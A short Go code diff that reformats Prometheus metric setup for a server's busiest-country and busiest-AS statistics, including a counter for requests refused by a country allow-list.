@@ -41,11 +41,9 @@ type busiest struct {
|
|||||||
// for the topN busiest countries.
|
// for the topN busiest countries.
|
||||||
func newCountries(topN int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec(
|
countries.refused = counterVec("sww_country_list_refusals_total",
|
||||||
"sww_country_list_refusals_total",
|
|
||||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
[]string{"country"},
|
[]string{"country"})
|
||||||
)
|
|
||||||
|
|
||||||
return countries
|
return countries
|
||||||
}
|
}
|
||||||
@@ -92,11 +90,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
|
|||||||
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
||||||
// country, the refusals by the country list as well.
|
// country, the refusals by the country list as well.
|
||||||
func (b *busiest) vecs() []*prometheus.CounterVec {
|
func (b *busiest) vecs() []*prometheus.CounterVec {
|
||||||
vecs := []*prometheus.CounterVec{
|
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
|
||||||
b.requests,
|
|
||||||
b.requestBytes,
|
|
||||||
b.responseBytes,
|
|
||||||
}
|
|
||||||
if b.refused != nil {
|
if b.refused != nil {
|
||||||
vecs = append(vecs, b.refused)
|
vecs = append(vecs, b.refused)
|
||||||
}
|
}
|
||||||
|
|||||||
Loaded 100 of 146 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user